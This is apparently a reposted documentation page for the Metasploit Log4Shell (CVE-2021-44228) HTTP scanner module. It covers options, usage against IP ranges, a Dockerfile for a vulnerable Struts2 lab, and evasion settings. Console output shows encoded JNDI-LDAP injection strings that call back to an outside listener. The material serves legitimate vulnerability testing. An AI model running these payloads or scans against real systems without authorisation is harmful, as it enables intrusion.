Log4Shell 攻防

2023-06-23 13:29 作者:北京老李2023 0人读过 | 我要投稿

Name: Log4Shell HTTP Scanner
Module: auxiliary/scanner/http/log4shell_scanner
Source code: modules/auxiliary/scanner/http/log4shell_scanner.rb
Disclosure date: 2021-12-09
Last modification time: 2022-04-06 09:04:26 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-44228, CVE-2021-45046

This module is also known as Log4Shell or LogJam.

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

crash-safe: Module should not crash the service.

Side Effects:

ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/log4shell_scanner msf auxiliary(log4shell_scanner) > show options ... show and set options ... msf auxiliary(log4shell_scanner) > set RHOSTS ip-range msf auxiliary(log4shell_scanner) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(log4shell_scanner) > set RHOSTS file:/tmp/ip_list.txt

Required Options

RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

Vulnerable Application

This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. URI paths for common, known-vulnerable applications are included in the data/exploits/CVE-2021-44228/http_uris.txt data file.

This module has been successfully tested with:

Apache Solr
Apache Struts2
Spring Boot
VMWare VCenter

Verification Steps

Setup a vulnerable Struts2 instance (see the steps below)
Start msfconsole
Do: use auxiliary/scanner/http/log4shell_scanner
Set the SRVHOST, RHOSTS, RPORT and TARGETURI options

For Struts2, set TARGETURI to /struts2-showcase/

Do: run
The target should be identified as vulnerable

Apache Struts2 Setup

The following docker file can be used to setup a vulnerable Struts2 instance for testing.

# # To build the image: # docker build . -t struts2:2.5.28 # To run the container: # docker run --name struts2 --rm -p 8080:8080 struts2:2.5.28 # ARG version=2.5.28 FROM bitnami/tomcat:9.0 USER root ENV TOMCAT_PASSWORD password RUN apt-get update && \ apt-get -y install unzip && \ apt-get clean && \ rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \ unzip struts-all.zip && \ cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/

Options

HTTP_METHOD

The HTTP method to use.

HEADERS_FILE

File containing headers to check, one per line. Lines starting with # will be treated as comments.

URIS_FILE

File containing additional URIs to check, one per line. These values will be appended to the TARGETURI option. Lines starting with # will be treated as comments. Lines may also contain the string ${jndi:uri} which will be used as the injection point. This enables query parameters to be included in the request which are required for certain applications.

LDAP_TIMEOUT

Time in seconds to wait to receive LDAP connections.

Scenarios

Apache Struts2

msf6 > use auxiliary/scanner/http/log4shell_scanner msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/ TARGETURI => /struts2-showcase/ msf6 auxiliary(scanner/http/log4shell_scanner) > run [*] Started service listener on 192.168.159.128:389 [+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/http/log4shell_scanner) >

Apache Solr

Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration:

msf6 > use auxiliary/scanner/http/log4shell_scanner msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.235.209:8983/ srvhost=10.9.4.245 [*] Started service listener on 10.9.4.245:389 [+] 10.10.235.209:8983 - Log4Shell found via /solr/admin/cores?action=CREATE&wt=json&name=%24%7bjndi%3aldap%3a/10.9.4.245%3a389/vslscuy7m6q9pgfc18h/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the scanner/http/log4shell_scanner auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/log4shell_scannermsf6 auxiliary(scanner/http/log4shell_scanner) > show info Name: Log4Shell HTTP Scanner Module: auxiliary/scanner/http/log4shell_scanner License: Metasploit Framework License (BSD) Rank: Normal Disclosed: 2021-12-09 Provided by: Spencer McIntyre Module side effects: ioc-in-logs Module stability: crash-safe Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- HEADERS_FILE /opt/metasploit-framework/embedded/framework/data/ no File containing headers to check exploits/CVE-2021-44228/http_headers.txt HTTP_METHOD GET yes The HTTP method to use LDAP_TIMEOUT 30 yes Time in seconds to wait to receive LDAP connections Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machin e or 0.0.0.0 to listen on all addresses. SRVPORT 389 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The URI to scan THREADS 1 yes The number of concurrent threads (max one per host) URIS_FILE /opt/metasploit-framework/embedded/framework/data/ no File containing additional URIs to check exploits/CVE-2021-44228/http_uris.txt VHOST no HTTP server virtual host Description: Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz. References: https://nvd.nist.gov/vuln/detail/CVE-2021-44228 https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis https://logging.apache.org/log4j/2.x/security.html Also known as: Log4Shell LogJam

Module Options

This is a complete list of options available in the scanner/http/log4shell_scanner auxiliary module:

msf6 auxiliary(scanner/http/log4shell_scanner) > show optionsModule options (auxiliary/scanner/http/log4shell_scanner): Name Current Setting Required Description ---- --------------- -------- ----------- HEADERS_FILE /opt/metasploit-framework/embedded/framework/data/ no File containing headers to check exploits/CVE-2021-44228/http_headers.txt HTTP_METHOD GET yes The HTTP method to use LDAP_TIMEOUT 30 yes Time in seconds to wait to receive LDAP connections Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machi ne or 0.0.0.0 to listen on all addresses. SRVPORT 389 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The URI to scan THREADS 1 yes The number of concurrent threads (max one per host) URIS_FILE /opt/metasploit-framework/embedded/framework/data/ no File containing additional URIs to check exploits/CVE-2021-44228/http_uris.txt VHOST no HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/log4shell_scanner auxiliary module:

msf6 auxiliary(scanner/http/log4shell_scanner) > show advancedModule advanced options (auxiliary/scanner/http/log4shell_scanner): Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN WORKSTATION yes The domain to use for Windows authentication DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers FingerprintCheck true no Conduct a pre-exploit fingerprint verification HttpClientTimeout no HTTP connection and receive timeout HttpPassword no The HTTP password to specify for authentication HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers HttpTrace false no Show the raw HTTP requests and responses HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable) HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace HttpUsername no The HTTP username to specify for authentication ListenerComm no The specific communication channel to use for this service SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH" SSLCompression false no Enable SSL/TLS-level compression SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Acc epted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2) ShowProgress true yes Display progress messages during a scan ShowProgressPercent 10 yes The interval in percent that progress should be shown UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv no The User-Agent header to use for all requests :94.0) Gecko/20100101 Firefox/94.0 VERBOSE false no Enable detailed status messages WORKSPACE no Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/log4shell_scanner module can do:

msf6 auxiliary(scanner/http/log4shell_scanner) > show actionsAuxiliary actions: Name Description ---- -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/log4shell_scanner auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/log4shell_scanner) > show evasionModule evasion options: Name Current Setting Required Description ---- --------------- -------- ----------- HTTP::header_folding false no Enable folding of HTTP headers HTTP::method_random_case false no Use random casing for the HTTP method HTTP::method_random_invalid false no Use a random invalid, HTTP method for request HTTP::method_random_valid false no Use a random, but valid, HTTP method for request HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request HTTP::pad_get_params false no Insert random, fake query string variables into the request HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache) HTTP::pad_post_params false no Insert random, fake post variables into the request HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache) HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random) HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../) HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../) HTTP::uri_full_url false no Use the full URL for all HTTP requests HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri HTTP::version_random_invalid false no Use a random invalid, HTTP version for request HTTP::version_random_valid false no Use a random, but valid, HTTP version for request TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable) TCP::send_delay 0 no Delays inserted before every send. (0 = disable)

https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/http/log4shell_scanner

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